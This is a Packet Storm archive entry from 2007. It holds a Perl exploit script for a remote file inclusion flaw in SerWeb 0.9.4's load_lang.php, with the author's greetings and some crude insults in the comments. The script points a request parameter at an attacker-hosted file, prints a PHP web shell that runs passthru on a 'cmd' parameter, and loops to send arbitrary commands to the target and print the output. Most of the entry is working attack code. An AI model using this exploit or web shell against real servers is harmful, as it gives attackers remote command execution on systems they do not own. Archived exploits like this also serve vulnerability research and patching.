serweb094-rfi.txt

2007-06-21T00:00:00
ID PACKETSTORM:57263
Type packetstorm
Reporter Kw3rLN
Modified 2007-06-21T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#  
# SerWeb 0.9.4- Remote FIle Inclusion  
#  
# This software, serweb, is a web interface for self-provisioning  
# of users of SER SIP Server (http://www.iptel.org/ser/)  
#  
# Url: http://ftp.iptel.org/pub/ser/0.9.6/contrib/serweb-0.9.4.tar.gz  
#  
# Exploit:  
#  
http://site.com/[path]/load_lang.php?_SERWEB[serwebdir]=[Evil_Script]  
#  
# (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net>  
#  
# Romanian Security Team .: hTTp://RSTZONE.NET :.  
#  
#  
# greetz to all RST [rstzone.net] MEMBERZ  
#  
# Fuckz: GM [h4cky0u] -[bigest nub], me  
  
use LWP::Simple;  
  
print  
"...........................[RST]...............................\n";  
print ".  
.\n";  
print ". SerWeb 0.9.4- Remote FIle Inclusion  
.\n";  
print ".  
.\n";  
print  
"...............................................................\n";  
print ". Romanian Security Team -> hTTp://RSTZONE.NET  
.\n";  
print ". [c]oded by Kw3rLN - office@rosecuritygroup.net  
.\n";  
print  
"...............................................................\n\n";  
  
my $kw3,$path,$shell,$conexiune,$cmd,$data ;  
  
  
if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}  
  
$path = $ARGV[0];  
chomp($path);  
$shell = $ARGV[1];  
chomp($shell);  
  
$path = $path."/load_lang.php";  
  
  
sub usage(){  
print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n";  
print "Example : perl $0 http://127.0.0.1  
http://site.com/cmd.txt\n\n";  
print 'Shell : <?php  
ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';  
}  
  
while ()  
{  
print "[kw3rln].[rst] :~\$ ";  
chomp($cmd=<STDIN>);  
if ($cmd eq "exit") { exit(0);}  
  
$kw3 = $path."?_SERWEB[serwebdir]=".$shell."?&cmd=".$cmd;  
if ($cmd eq "")  
{ print "Enter your command !\n"; }  
else  
{ $data=get($kw3); print $data ; }  
}  
  
  
`